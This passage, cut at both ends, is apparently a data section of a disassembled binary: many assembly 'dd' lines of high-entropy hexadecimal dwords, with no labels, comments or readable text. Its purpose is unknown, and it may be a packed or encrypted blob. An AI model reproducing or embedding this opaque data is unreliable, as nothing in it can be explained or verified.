4962204Ah, 40243E98h, 19A33ABh dd 0E6AE3F35h, 2037C1C9h, 0E241EDACh, 0B4F42EF8h, 29A21268h dd 0A18D4048h, 0CD0BB3EAh, 0A1A28360h, 42C013BCh, 2401E470h dd 174C80DBh, 1158CCBDh, 9B120B00h, 0FB82A16Ah, 22D0BA9Fh dd 48C0A64Ch, 50D9D384h, 3FA098F5h, 0D8068DBCh, 308CB682h dd 70C8B14Eh, 0FD57083Eh, 9183E86Ah, 0C485E582h, 4E3C88D8h dd 0BDB89861h, 50C0D600h, 0DDAB35CBh, 0D2090120h, 0A66FDB78h dd 0D194E701h, 0D0D394A0h, 3C0F1AADh, 85412E6Dh, 8830674Dh dd 0B1D182h, 5B9E94CDh, 417E1110h, 2803D65Fh, 0EDBC12EFh dd 40048094h, 68ED355Fh, 0E06C8496h, 0D74B0184h, 87695CC1h dd 0C8D35D0h, 54C312BBh, 0E8C44C40h, 0FC005FB2h, 0FB90F8D4h dd 4A2841E8h, 4200F00Ch, 6727E969h, 0FA16DEh, 5C50109Ah dd 6501DAB9h, 5A442A49h, 19704B0h, 0D646E7D3h, 3F9912FAh dd 34C10406h, 0D1A80338h, 3FEAB9F8h, 0CEFDF9A0h, 2B0124F0h dd 0B7990308h, 1771EB09h, 4127E432h, 0E440346Ah, 180AF0ACh dd 88316AC2h, 56E0AD1Ch, 0D848C86Dh, 9602D380h, 6E4E2E82h dd 4CA64D8h, 213C89DBh, 2CACD947h, 35930B50h, 52E832DEh dd 376924D4h, 0A79692CCh, 17F057B0h, 50824984h, 86C7C36h dd 0E86046AAh, 278274D8h, 181032D6h, 0F89D6801h, 85A091B4h dd 0D4316D1Ah, 8FB80CDCh, 6C38DA20h, 6332001Bh, 7B29B835h dd 30126E5h, 8068800Ch, 593BDD90h, 5080444Bh, 7235C22Ah dd 32AE02F4h, 9502995Dh, 8E141856h, 37F855F4h, 5E404820h dd 14941481h, 960B7863h, 4464EA9Ch, 0B8CFA02Dh, 0BA5801B4h dd 88690020h, 53DEC02Ah, 181D03AAh, 0F9C03E95h, 219A9C92h dd 411890F2h, 2F685942h, 2270940Fh, 54600138h, 2A6E0014h dd 9AA57CD1h, 0C942390Fh, 46A9217Dh, 0E430AB21h, 1767FE0h dd 38A169E6h, 4245FA41h, 70D6FFC0h, 0D0C4820Bh, 5CA04B9Ch dd 802C595Ch, 2CD22F69h, 909F00C4h, 32262D21h, 0C513A093h dd 10423485h, 9A7C613h, 0CA88940Fh, 69269904h, 8601F091h dd 93005838h, 5E037DEFh, 9903F78Ch, 0A412F8E0h, 134025CAh dd 8469C0A0h, 500F384Bh, 0ACF2B04h, 9D05085Ch, 84B00F02h dd 5D90C495h, 255892FFh, 3FEBA482h, 49A07909h, 0ECD088E0h dd 0AAC00613h, 4A89CA0h, 8A4F1507h, 0E9248326h, 0A6E887E0h dd 699AB400h, 1F550D5Ah, 0F33B0721h, 0C093D532h, 44ED380Eh dd 0DDEBDE06h, 2081D81h, 416D465Bh, 0C0DC6066h, 5050CC27h dd 41068887h, 95E020A1h, 98340309h, 0F858E0B2h, 44C0B456h dd 0F34CF09Ch, 24839A28h, 22205C90h, 0B3352440h, 5D813930h dd 0DBED1D3Bh, 2D806013h, 5F23Fh, 9C49AE21h, 145C554Ah dd 9047DF12h, 8219C205h, 9CFCB094h, 1E482213h, 0C6CF2022h dd 0D828B5A0h, 20980CA8h, 220A9708h, 14269A2Dh, 183391Eh dd 0EB82763Bh, 0A47D8A1h, 8C5748F4h, 0A05D380Fh, 0B701D8E0h dd 74822BB3h, 0C4DA62DCh, 7D02C008h, 0FAD79AD0h, 0D008838Ch dd 9DE1C11h, 0ED01C990h, 0E11E28F0h, 0A012A35Bh, 0D8F00C56h dd 0A18F0337h, 6413226h, 114B2FCh, 0AA3D7161h, 88225C60h dd 18F4D610h, 0DCF1239Fh, 0BEFCF941h, 0BC4494E9h, 0B9A0B10h dd 18967194h, 37029BB8h, 40D8EE90h, 696B0E5Ah, 383F8600h dd 0F31326DEh, 42F09241h, 9C614E27h, 0AA0255E7h, 0F88898D4h dd 9CF601CFh, 7D2C6202h, 941E4A90h, 1A10426Dh, 854C7CDCh dd 0F8440295h, 5CE91680h, 4B762102h, 0BEACC040h, 0FC1A81C8h dd 2EBF7401h, 0A0AAAF78h, 873C4A82h, 962AEABAh, 0CAB30978h dd 50E40854h, 4B17F4BCh, 133CD04Dh, 0C8B9547Fh, 0DA434942h dd 8192E688h, 4F8220Fh, 69A07261h, 0B6F8E080h, 0A84A4CEDh dd 0D0459C16h, 41D936D8h, 47DE4727h, 8CAB1384h, 47407750h dd 2661793Eh, 0BF84AAFh, 0BC61900Ah, 2838602Dh, 0D8688741h dd 0C089A4CFh, 0F8046058h, 2B229471h, 4C7328A3h, 0FFC8FC43h dd 70CB820Bh, 0E2FB0450h, 8D333CC0h, 180F6B38h, 214A6699h dd 19900908h, 94E117EBh, 32A04238h, 860E405Bh, 92B02EEDh dd 0B2180A7h, 3E989C18h, 0D00997ADh, 3BF064F0h, 0F85CE8BAh dd 0F0CD07BFh, 62D0327Ch, 0F8356940h, 710B8CAh, 4778135Ah dd 0F243A0CEh, 0B85A6485h, 3B0E7CF8h, 0BC8F02EAh, 289D5101h dd 0D3DE038h, 8823D806h, 128ED78h, 0A28B929Bh, 0D3C27C98h dd 8818307Ch, 6420D790h, 0F511C32h, 312C076h, 20029839h dd 0AC07A7B8h, 53D7F36Ch, 14EB893h, 0E14F4720h, 85D8F720h dd 0C17CBC40h, 77012C43h, 0EEFCE006h, 0DA1F0003h, 0E3C1D6BFh dd 1F811CAh, 0B7F48100h, 2D5CD929h, 0EA0AC346h, 87E6FEh dd 26C28242h, 430C741Fh, 1348307h, 0D8C6710h, 0B5691825h dd 158A1246h, 5B0D55F0h, 1405C382h, 6FBEEAF0h, 0EB600A97h dd 1DB65778h, 26FB0234h, 0BFC1081Eh, 40457BE0h, 1F43EDF1h dd 0B925A88Ah, 0AA7F0028h, 9E9C241h, 0C9E25826h, 0D1F86300h dd 0EE4B922Eh, 8FEA1875h, 19893891h, 251D8C1Eh, 0B322A68Ch dd 677BEE54h, 0E3D25B16h, 0E3E938Ch, 6325BF5Dh, 1F03BB0Ch dd 0CD4027Fh, 850E7E66h, 199DC93Ch, 0E91FA7B6h, 312535C0h dd 8A6A2D8Ch, 0E880363h, 0F12E5D7Ah, 52327AA3h, 3A1C9F9h dd 90D4B15Fh, 835E0C94h, 0DE7EEF00h, 43DBF87Fh, 0EBC24B0Fh dd 0E5F3A004h, 280C5B84h, 42ACD602h, 748831EEh, 8808A5Dh dd 76DB6953h, 95D94D2Bh, 5108C52Eh, 21DAB930h, 0B74039EAh dd 2009559h, 712706D9h, 2A457FE9h, 72D88949h, 0ED2463F4h dd 3CF15CDBh, 54108043h, 4B036EBCh, 0F136F62Fh, 8253168Ch dd 1739ED8Eh, 696005E2h, 0B85457CFh, 54BA0017h, 82330A5Ch dd 6C150EEAh, 0CAA70679h, 0F7030EFFh, 77D72DD9h, 0E6724DC1h dd 8C55D8A2h, 0B57C0643h, 32FA4833h, 0BBFC0256h, 8C57DA12h dd 7D134242h, 7967E3B0h, 0A9097B28h, 44118575h, 0C6038A41h dd 60BF7D84h, 1F310C05h, 0F9C08689h, 125B0A5Eh, 10EC2A0Eh dd 0F07E0850h, 26131F67h dd 5092A84Dh, 905F08C4h, 0C7538806h, 406980E5h, 0A8203F38h dd 0AC79AC5Ch, 0C2C7F30h, 60D06886h, 1C234866h, 8A06E70Fh dd 0EB69EAE0h, 2959753Eh, 92A42D6Bh, 0EABF4255h, 53059032h dd 0F508A30Ch, 10B201D0h, 0E8C22C7Ah, 0E5C8E406h, 810095FCh dd 2A60FF8Ah, 0A2885FF3h, 1A7F8298h, 0CB220348h, 8BE089BCh dd 38A5867h, 7BF8BC23h, 0D4EDF590h, 3B9806BDh, 0C88416E0h dd 3D88051Fh, 0A66923F0h, 8FE49172h, 4CE3BB53h, 0D1C87617h dd 0E3ABD7EAh, 21BAD712h, 0E4CFBD27h, 2E001FB1h, 138933FFh dd 4F042BEAh, 0D92A3E58h, 9575E881h, 597B4C05h, 0BE2856ADh dd 0F0292605h, 0F0314F5Eh, 7A83DFE0h, 4148905Ah, 0AD8DB6CFh dd 0C43FC972h, 5EF65059h, 4ABA3619h, 229B5234h, 0B4C16C34h dd 6109327h, 0AA737732h, 0A03DF392h, 0CC820532h, 0C059521Ah dd 3DAC4F7h, 0C1DCA31h, 66E00C73h, 78DF4802h, 151C7210h dd 36AF0590h, 49E351E3h, 30702E5Ah, 19248234h, 0A390714Bh dd 3C65F131h, 0F2F84A42h, 0BAE20F7Dh, 92CD5133h, 0E7E0C346h dd 290F49B9h, 0A6DFF81Ch, 16A72E61h, 1E3257F0h, 0EEABCCC6h dd 54EC5E30h, 0D48FCA4h, 0A1BC986Eh, 429B067Bh, 448553EAh dd 0C8BD5B51h, 4C48B263h, 8D022AA9h, 6120D680h, 49D10A82h dd 0F093D229h, 2A3D6C32h, 0B854014Dh, 6284EAE5h, 16F26822h dd 12898C14h, 0BB425556h, 98E18A51h, 0A2C184C7h, 3FA522FAh dd 202E46A0h, 0B0C1694Ah, 274F6410h, 0A67521ECh, 206937BFh dd 1E63D327h, 6B53150h, 905E3740h, 13B9016Ah, 0D80A730Fh dd 1DDA815Bh, 50061E5Fh, 31EAC024h, 0A329838h, 8067DDC1h dd 50A569A5h, 0B05E430Eh, 70C8D228h, 26ACEA60h, 5AD0B9C4h dd 0E4445C4h, 310184B9h, 0E45967E2h, 0D6A0E8DDh, 9AEE8605h dd 31CC2854h, 0B710C418h, 0C10F067Eh, 81C05817h, 2A27D414h dd 8C60FB0Ah, 9168413Dh, 0B14DD100h, 73E92A1Ah, 0A206F05Eh dd 0EA4CA10Ah, 30973B90h, 0C0200632h, 0BA280E3Eh, 8E2C5703h dd 0CF4A4758h, 0E90D4565h, 401D4959h, 87C8060Ch, 0A30FEA04h dd 9385B105h, 0D1A04C23h, 0C6F83805h, 0BE815939h, 3EF03C0Ah dd 0EA1574E9h, 24857319h, 4E0E9552h, 4E0156F5h, 353594Dh dd 18047F70h, 0C5F121Ch, 6F304797h, 6A2AC431h, 2363E7Ah dd 0D8BB2E60h, 0D8B0F28Eh, 0FC202FB0h, 0C7ECA038h, 85BAB12Eh dd 0D90ABD69h, 0C6880C71h, 412EEA18h, 90345A0Eh, 6326C84h dd 672E5D0Dh, 7D8A4686h, 722AF7DDh, 78DD22FAh, 51038310h dd 59636956h, 0BFB06B40h, 832EDF01h, 23EA4762h, 0BA638335h dd 0CF086480h, 0ACE12E19h, 617BF03h, 3FC5BA1Ch, 0EBD0C771h dd 10665896h, 41C30222h, 4BD93108h, 83DE65CBh, 0F0192F8Dh dd 320562BDh, 0D07EEAC9h, 0A410671Dh, 9CF24AD8h, 0C3FFA849h dd 5F6E0514h, 46936979h, 723D8AB5h, 2F3793A0h, 823B4907h dd 0D2F29BC7h, 65796946h, 0E4D10FCBh, 0CF255605h, 84CF5091h dd 0E7A02C7Fh, 4A548ADCh, 26056F8Bh, 0DA68D835h, 5E02331Eh dd 641BB432h, 3C20654h, 553AB0A2h, 0EA12D4B2h, 39132E5h dd 77C26h, 679E1D78h, 15D35A18h, 0AADC8FEBh, 30DC0CBCh dd 98EE9295h, 0F11D1888h, 0ED8D166Fh, 0D6C70280h, 5C18042Dh dd 3C1D4F2Ah, 710FE4D2h, 26B0640Fh, 300D0B0Dh, 3792335Ah dd 0E38A5312h, 0D684E08Ch, 0F514370Ch, 0C2C5E2Dh, 0E81164EDh dd 49CF62C3h, 70D39709h, 0BB1A2496h, 9009696Eh, 0EAC2F110h dd 9869080Ah, 0ACA82916h, 5B7EE809h, 8B0E9B06h, 775E0E57h dd 0F8C6A11Ch, 2D002AD2h, 670BB6Ch, 1F637B4Dh, 0C2603613h dd 0C232D1F9h, 54801A51h, 0FF0F2EBCh, 15FB01Ch, 43C73C02h dd 52AFEAh, 74B16967h, 0E9EFAB6Bh, 0AE47DBCDh, 24694BDCh dd 64A75EB4h, 4E1E8255h, 300E5706h, 68F73F02h, 0AE6096Dh dd 255CD648h, 0E9A52E45h, 8ADC23C2h, 92C392E9h, 2E275254h dd 606D1CF1h, 0E68A565Ah, 8191AAB0h, 8774BBBh, 808AF3A0h dd 1E76FFh, 5A5287CBh, 48DEEA17h, 900D4799h, 0C1EF8F65h dd 0A3C4F682h, 8A0816B8h, 0D2432CF0h, 0BDC2E83Eh, 940BF506h dd 841B5775h, 0C11B2F89h, 9E4F35C1h, 8462C49Bh, 0A68D9406h dd 965A4B0h, 0EE11AC10h, 5B75716h, 17FC1375h, 66A62206h dd 69154C58h, 5CC2100Fh, 4B8D1841h, 7F3AEBA7h, 0D58524D1h dd 12699D8Bh, 2530356Eh, 0BEDF47C7h, 0C27A0113h, 0D06A71E2h dd 0CD7C3E45h, 0F2EA5209h, 0C782265Dh, 0AA52082h, 0F902F590h dd 0F8134B09h, 80B480D3h, 0F06E432Dh, 9DC2A0DBh, 0F1A0B0Dh dd 0A80D78Ah, 0AC37D6CFh, 80415D51h, 48A6BC8Eh, 0B84C5E9Fh dd 0AE3140FEh, 5213A2B0h, 6501E28Ah, 7FE67EA0h, 79825F30h dd 297124EFh, 747A3CA5h, 5919CFD4h, 2DA0EC1h, 608E75F2h dd 6282461Fh, 91CCEA1Eh, 0C315467h, 84EDD61Ch, 9B2AEA13h dd 3E52F68Ch, 281A5A55h, 39C1194Ah, 1FE7526h, 3324A3BBh dd 69376169h, 9A2379D1h, 0CAE74C73h, 0BA316869h, 2479EE9Fh dd 2F2ABB02h, 12506163h, 0BB8546F6h, 0EA5402F5h, 32062F18h dd 2E3448D6h, 0EADA4E92h, 261CD92Eh, 0A30B34BFh, 0C924596Ch dd 0AD49609Ah, 0D2C3169h, 665DB617h, 0C46A588Eh, 8C1038A3h dd 3CE4687Ch, 705351ABh, 48045F9h, 0B8395963h, 8B10F8D5h dd 0D588299Dh, 0DAFC86A2h, 5C5AF161h, 83E05167h, 0EFC1800Ah dd 0A13C0666h, 34E34B4Dh, 9BE5807Eh, 74603C76h, 0F80BB70Ch dd 0E1EA1923h, 2C0A52F5h, 9709103Ch, 48F0D201h, 0A404E8C2h dd 2200B45Fh, 813A9132h, 6DB60EF1h, 0E9C17016h, 200B62D0h dd 5900CFBFh, 3D66C905h, 1FB82D11h, 416A3423h, 0EC3EE9F8h dd 0D859C5FFh, 7AC33A02h, 0BC68525Dh, 2AC3F997h, 0BE0A2814h dd 0C181000Ah, 32991A63h, 67612EE9h, 0E7895716h, 0C704C7F8h dd 69EF8329h, 66E5A586h, 77C58007h, 0C1A71C2Ch, 306814CCh dd 892E4BC7h, 543D2434h, 8DBD375Eh, 0B8A704A7h, 673940C0h dd 0FCC0325h, 7DE918B7h, 0C10424D6h, 0D5F706EDh, 5568CA80h dd 81F041h, 291EEBEFh, 50E7D163h, 18EDB802h, 63E9793Eh dd 0BA3C0762h, 0C1061E23h, 895AD731h, 6B2DDBh, 78E9F98Dh dd 682AC028h, 15B9112Bh, 7C1D5F7Dh, 585F0424h, 0AD70630Ch dd 7D55F63Ch, 128F60E9h, 0B251B753h, 0FA307C0Fh, 5835A55Bh dd 0C0970D01h, 62EC02EFh, 1E16DE10h, 0E3803DEBh, 0D3C38006h dd 38C4D828h, 0BD0A54D6h, 4C464FAEh, 0FF0A0A73h, 958B3C77h dd 6876806h, 0A71C518Fh, 1B11A171h, 0BC43D89Eh, 0E7FEB1ACh dd 0EB290C80h, 788AC381h, 0EEC2BE63h, 0C471239h, 21340F24h dd 52567283h, 96751FF9h, 8507BF1Eh, 0FDF0577Ah, 0FED815Fh dd 0F53B8F1Eh, 9E5DE927h, 0B9F2CF62h, 20CE0F41h, 1C401634h dd 0EE800058h, 0B151665Ah, 0CE7F2026h, 94F09430h, 67DBD55h dd 0F7750619h, 0C83B5CDDh, 331BB68h, 4C3BE0E5h, 5F5E069h dd 3E1F3071h, 2A4B410Ch, 52E9310Ch, 101683Fh, 665F05D8h dd 0F451400Eh, 1AC79855h, 61F248Bh, 4C74D6A5h, 6112A4BDh dd 45270C08h, 3C023674h, 79E9BF9Ch, 54B8AA29h, 60148B0Eh dd 8104C483h, 37B1A6ECh, 0D85F0C4Ah, 7EB7A08h, 0A3E4C581h dd 26D94291h, 29268195h, 0C3015AD0h, 89523180h, 0D7B0E9E2h dd 565836DDh, 0A28B669Fh, 893710C7h, 0A464C42Ch, 0C3CD9248h dd 9D7345A3h, 15F71703h, 130AA29h, 0C3DECC0Ch, 0F393E945h dd 74EA2303h, 0B058C706h dd 0E09E62F2h, 9DE910FDh, 0F7543E28h, 0E057031h, 9F95D5Ah dd 7A49BA2h, 51C8AF0Fh, 69CBD39Ch, 31EF5900h, 2925F664h dd 820F98D7h, 30A12F08h, 0E7C1B360h, 0C726E908h, 7DA84521h dd 0BD756754h, 1152F909h, 5FB071Ch, 0C01DE535h, 767CF581h dd 0C7E7D133h, 2458F670h, 0D9E919B7h, 0D85E4294h, 0CC9511Dh dd 16690B9h, 18ACA2CEh, 2AE95645h, 7DCE6CDh, 0EAE012F2h dd 0F4ACB301h, 61BF1603h, 756B06Dh, 151D0CE4h, 0CFE76039h dd 8267F70h, 41AD44Fh, 0FE4848D6h, 206D1C40h, 0F38A98E9h dd 0BEF003E2h, 905A5840h, 64231DD7h, 0C2814180h, 41DE0A4Ch dd 53C63D6h, 3FFC0439h, 0D5C6ABF1h, 0EAC06631h, 0EF96AB47h dd 895F0322h, 0C2315BDAh, 98832F20h, 3FB49050h, 0F2121EA8h dd 600B015Eh, 20176769h, 0DA60ABFCh, 58C68942h, 120D012Dh dd 0F0011126h, 5E074105h, 5C568C87h, 26686166h, 6E4B5D42h dd 5551E362h, 362BD8E0h, 4B3DFB76h, 7D8C8981h, 41350286h dd 3C8B020Ah, 4E8F5186h, 0BC20DBA4h, 205890F8h, 513E4DDAh dd 0A0CAD50h, 7AEC95ABh, 808F07B7h, 0E983DEE7h, 29AABE82h dd 4D208706h, 1650795Ch, 51F65951h, 7A53EC10h, 1006D524h dd 0DA4C7F45h, 0B0533A8Bh, 120D696Ah, 0A1853687h, 0F0486CA9h dd 1D9944F8h, 1918A9A6h, 0E5DE3A1h, 432B6032h, 6E15F3E1h dd 739330BFh, 0DA5E7940h, 98809AF7h, 51209DBAh, 7D684C0Ch dd 0A8F6996Ah, 16A3B5FFh, 0C1FF580h, 140CDAB6h, 59EB3016h dd 7D032C0Eh, 0B0500680h, 39C8FEB3h, 91383B2Ch, 9958C315h dd 0FC4085D0h, 0B14E6D3Eh, 0AA3A4C8Ah, 1BFD0B59h, 0D11A74FFh dd 14991D58h, 0B431EC33h, 0DC400D06h, 0E9E08950h, 391E9A68h dd 0E126DC88h, 12E03946h, 0FC3305Bh, 99C0B628h, 0D430877Eh dd 0B2521CD3h, 0E2801682h, 0A71B0EA9h, 8CE5DCDFh, 0C899105Ah dd 9360F9F2h, 1AD2D0Ch, 29843409h, 0D930C2E0h, 8DF58109h dd 4530F42Fh, 0E91A8E34h, 8828DB6Ch, 1090B8Bh, 3C6F04F7h dd 0C02E438Ch, 313A05C9h, 0ADB806EAh, 0CC926DA1h, 0CA987A8Bh dd 783D680Ah, 9D03F96Fh, 0E065F248h, 63405CBh, 0B6E92307h dd 0F784643Bh, 5C9A7CF2h, 209E876Fh, 120F1A05h, 9869B015h dd 65FD0B90h, 88000DDCh, 32C228D4h, 7588C98h, 0D4E93960h dd 851A0FDCh, 80A8F93Ah, 56521B4Eh, 0D8F72E2Bh, 47E1079Ah dd 1F4F07F4h, 40D31F53h, 2BA215E5h, 0E97AF829h, 35C315Dh dd 0D60845BBh, 2006D939h, 0F6506600h, 124541Dh, 26441A6h dd 49F48040h, 0E7398853h, 92FDBA51h, 9D1459EAh, 5C2D92EEh dd 24E97BE8h, 923E495Ch, 0EA2C88C2h, 889087FEh, 6ED8E913h dd 10629E52h, 615F42D2h, 0A7DAB646h, 34DC2F9h, 36A6D20h dd 1911824h, 4D108BD0h, 89145EC9h, 940095E6h, 402A494Dh dd 7607F405h, 0E8C146E7h, 0F604067Ch, 0C76709A2h, 8A8801FFh dd 31A70290h, 0FC806DD2h, 55EE2874h, 8FE3C124h, 0EBF3AC3Ch dd 24B6B94h, 3F12B6EBh, 0BEEA807Ah, 0B87F0376h, 4DE97CCAh dd 4D9EFA64h, 0FCEF39D0h, 0CC06289h, 0DB74D3BDh, 0F895B824h dd 0DF885DB8h, 914D0681h, 3EC77050h, 677EBAE4h, 0C055CF68h dd 865DC9A8h, 0B49C48CCh, 0B0090934h, 5B06A583h, 94553AD8h dd 86804851h, 0C05C87Bh, 393A010Eh, 0EDDA982Fh, 7F48839Ah dd 0D2610DBh, 63C3B824h, 9576322Dh, 177E4431h, 9E44D1CDh dd 9994D381h, 93269325h, 0DD51A258h, 683A6940h, 359AC146h dd 6709650Ah, 0F890109Dh, 0FDA18920h, 0F71A8443h, 26C251DAh dd 0DC5E0446h, 87C28A11h, 51512F68h, 9713BFBAh, 5F93414h dd 0CC7E6FD6h, 681F5664h, 55985EF3h, 2E78EE58h, 14E541h dd 0C0E287C6h, 0F56789B1h, 4970EF1Eh, 0ED0162E9h, 807A271h dd 9F70CDAEh, 979BE29Eh, 89290485h, 53AC026Eh, 0D826C1B3h dd 5F7483EDh, 0F6F20A80h, 0E51D030h, 9A745452h, 58714606h dd 0BB1E9628h, 3FB9114h, 0D2E70F6h, 0FF0C002Ch, 1FDCA72h dd 9530E9F2h, 478F56E0h, 79F3F140h, 0E55C4C58h, 45163578h dd 5D71CD8Ch, 580CBEE8h, 8FC79423h, 0B132763Fh, 0D9CB4356h dd 9321ABBh, 0BE2D710Ch, 0BF02EBA0h, 105D71Bh, 35A3E0D3h dd 9D9E5C7Eh, 48744E10h, 28758419h, 81D50101h, 0C62CFCC5h dd 34CB20F5h, 4E051ACAh, 8521CE3Ah, 4051B78h, 0B0BF557h dd 5FD0259h, 805A007Ch, 43B00CF1h, 674804FAh, 0B3173121h dd 64FA875Ch, 92719051h, 7A783051h, 880D3420h, 1524C179h dd 548BA837h, 188E045Dh, 0F1E1E98Dh, 0E70E6362h, 0F263330h dd 29E0A968h, 5F5051B0h, 0C121683h, 67005D71h, 0AAE28142h dd 4D0A2604h, 0CC1B1226h, 7559EE55h, 0A8609239h, 0A1BB0F66h dd 0F1500C59h, 90BAF380h, 27864EDEh, 0F7E683E2h, 60B92003h dd 0C06ABC3Ah, 17E181D1h, 375496h, 0EFEC1F7h, 31043998h dd 0B95159CFh, 5C38D0C9h, 2EFC10Dh, 0C78C4006h, 0C5609AB1h dd 685FFA1Eh, 7771687Ch, 6F422CECh, 0BA0113C8h, 0BBC383C5h dd 0D7A433B9h, 0E1024B78h, 59024C33h, 9C10E366h, 6C4834C1h dd 1C1FAC39h, 0D320B19Dh, 50FDA814h, 176820C2h, 8E537908h dd 2BC03B8Eh, 29CCE405h, 11E9370Ah, 0ED80D5ECh, 0D9D0403h dd 6851025Fh, 47DF5335h, 48372F56h, 1AEC83B3h, 85237FC2h dd 548980C9h, 59AFE3EDh, 0C85C2444h, 0C11B4A0Eh, 1411687Fh dd 0BA8A4Ch, 4E046FCBh, 274CF281h, 7F02B02Ch, 10E46407h dd 61D62942h, 55A08082h, 0F6C948D3h, 817C341Dh, 888DC7F1h dd 591960DBh, 634A14B0h, 8117341h, 23C83D35h, 0C8107A24h dd 0B40E97BCh, 7A58E43Ch, 3456328Ch, 90E75E54h, 3BC6BB97h dd 435B8F12h, 368EE302h, 0CFFE8EC5h, 23F32008h, 0B04C040Eh dd 78620122h, 0DE955F1h, 0C5AA2806h, 0B414FCA1h, 4ACA1097h dd 0AB07A550h, 872961E4h, 266AB268h, 830F19A8h, 6385410h dd 40571AA4h, 84985289h, 0AAB059CEh, 18306002h, 42F10128h dd 5E08056Ch, 0E9FD8899h, 0C444E4C4h, 0B15DEB0Fh, 36F6F03Bh dd 32292A92h, 0B2A0E03Ch, 7E3F2909h, 55348247h, 0CA548C7Fh dd 0E1893E51h, 59656532h, 0CFC2DA4Eh, 0C67A7B68h, 0C6E92E51h dd 0CB808E74h, 53DBF647h, 8BE9BDEBh, 0FE1A8C81h, 32F114C3h dd 0F518DE88h, 3030CE49h, 0B880CE00h, 0A0E71264h, 0C1701D0Fh dd 29288354h, 1495E3C5h, 2410AB08h, 51AC0086h, 0C18063B1h dd 98949A07h, 9B5F64Eh, 3DA9E96Ah, 9D192F12h, 0CE4B71C1h dd 50326212h, 0AB675A2h, 1F366853h, 786ACFE9h, 45D64208h dd 96C8ED08h, 9FFF90C9h, 0BDDAC0CDh, 77AB5418h, 8D4DD9F4h dd 6E8154ACh, 4286DC55h, 2A905D0Ah, 0F15C009h, 26E99784h dd 50182952h, 12AFC17Dh, 5F4B7240h, 5208A816h, 144D705Eh dd 7685C05h, 0F7645060h, 83351442h, 6B03830Ch, 78EB6303h dd 159152Dh, 2521690Ch, 0FBC30120h, 0C081A95h, 0FB451409h dd 37AEB981h, 34715D53h, 1F234DC9h, 501DB300h, 0C4FE71B4h dd 7E4FF2FEh, 0AB174C3Dh, 2DC0E035h, 5C632ED8h, 0B401723Dh dd 0F752F04Fh, 43E6E0D6h, 684D1A0Eh, 5307C0C1h, 0E0217CBBh dd 0DE292506h, 0F0011598h, 90F08997h, 16382DCDh, 8432436Dh dd 0E90705F6h, 5ACDD37Eh, 8868F9E8h, 9AD90F4Dh, 46288241h dd 4862EBDDh, 0F513311Ah, 4123CA73h, 14461F9h, 411AECh dd 281713BDh, 9AC3B97h, 66A3760h, 34928682h, 524CA9CCh dd 1E5702FDh, 0C859183Dh dd 5BCC18Bh, 8982276Bh, 0C2DD06CAh, 0CC07301h, 5A294A2Ch dd 13A75EE9h, 0D6651D04h, 520C4074h, 0F1882AB6h, 713524C4h dd 1C3D0E16h, 8DDF9576h, 0A463206Ah, 63930A03h, 508012E9h dd 84C56525h, 0E90C8361h, 0B5364BF4h, 8538021Bh, 34F729FDh dd 19E8EB3Ah, 25E91217h, 0D5298580h, 5B5E795Ah, 59210076h dd 0EE81C601h, 8C73D104h, 0B5C95254h, 35F1CE10h, 0BA2D007Ah dd 9E2F4F7Dh, 5790C229h, 1716B3E6h, 650266C1h, 707D7325h dd 79B9014Eh, 0DA21272Ah, 7C2A805Bh, 0E94AAA47h, 1325B650h dd 0FE832166h, 536D86h, 2AC51121h, 598BFD09h, 8CD0023Ch dd 20040D3Fh, 8EEB8903h, 0D9210BFDh, 23A005Bh, 9113E368h dd 57FA89Ah, 3AFC5236h, 5E54C801h, 98B35840h, 0A1D8485Eh dd 0D8A9B62h, 21804105h, 7C1E5A2Bh, 4F09260Eh, 0A5C28EDCh dd 28A3D00Fh, 21BF2CD8h, 3819E9ADh, 23BF092Ch, 29838314h dd 3E71107Ch, 94582F25h, 9805EDD6h, 5A30E92Dh, 0F75D1035h dd 304F60DFh, 0E818CC7Bh, 1AF9092Dh, 0F8EEC3CEh, 17318013h dd 20BF5753h, 5FFB89E6h, 6FD92928h, 0B187BD2Eh, 6852054Fh dd 3B89161Fh, 1BF6B65h, 0D4E28104h, 4076407Ah, 0E43EDFF1h dd 2C107F5Ch, 82088A04h, 0E1933C60h, 57AA0305h, 0A3C4E887h dd 504D4889h, 0F705F1ADh, 51D07EE6h, 144C68A0h, 0E7691252h dd 0A207ED28h, 0C200D05Eh, 0D3F7026Ah, 77D747E0h, 2CBA8558h dd 0F443A22Bh, 58E680C8h, 5AF03930h, 28D6C3B3h, 28987F79h dd 1E173E20h, 1507E2C0h, 7863B8BCh, 0B28402C2h, 2F454F52h dd 0FEE3D220h, 1B162079h, 738EBB1Fh, 0F7535686h, 0BEDDFC34h dd 9522603h, 4027914Fh, 0D466D2E7h, 0B32BC6ACh, 500D996h dd 739241A0h, 48A19C5Fh, 32BF16EBh, 0A5A131B6h, 7058C328h dd 6CB0D0Bh, 0E9D340C6h, 24869C40h, 497F0E2Dh, 9D66792Fh dd 0BB8016FEh, 3C097340h, 4CB896Dh, 1FF05CFEh, 0C9E630E9h dd 2887B726h, 0C8E6F87Ah, 7B89DEFDh, 3534B602h, 2E3C0671h dd 6698D9ADh, 0C9F2541Eh, 691BC66Bh, 0C09534B4h, 0E6530482h dd 60A1F0EBh, 69EE3BEFh, 0CE58B4B8h, 3A202D07h, 4382C13Bh dd 0A252C29h, 4E580C1Ah, 0EE473F86h, 0E4913458h, 0AF1EED2Ch dd 0F9202196h, 7CBE11h, 0F622DAC5h, 0EC04D6Fh, 407153D8h dd 5DE81331h, 1B8A1501h, 0F665C04h, 39D3B4B3h, 0E2D1ADA8h dd 6B806816h, 0AE4ECCDh, 23C30505h, 0CD131FE9h, 64E3E3B5h dd 64EE2D30h, 27685EF5h, 6292123Eh, 5D59B852h, 7BE9129Ah dd 6E25EC40h, 14FF06Dh, 560F4935h, 30C63118h, 643FE6DEh dd 904C2D32h, 4A6968C6h, 0BFA2C809h, 0DD341809h, 0BB6F036Ah dd 23B3D8D7h, 0B8E30581h, 0C00ECC3Bh, 0FD08E96Fh, 4EF97248h dd 45546C0Fh, 0ADA4DDE0h, 0F73C1784h, 455308A1h, 848F2814h dd 0C105C8AAh, 0C3C11CE7h, 6AB42A10h, 0A987B4h, 9EE90A24h dd 0E5E93B54h, 8831C917h, 1EBA1015h, 6D6C15Dh, 2080BBC4h dd 0FED4A43Fh, 98EF7F89h, 21960BFCh, 1FC06C38h, 5C09CF81h dd 19BA2Ch, 4C029797h, 6495C4Ah, 5469E909h, 18205752h dd 0BA523874h, 783F2382h, 0D478D131h, 822E0F0Fh, 24F12B3Ah dd 1A655E48h, 84019B5h, 5B808578h, 0A20BA858h, 72D98247h dd 8310273Dh, 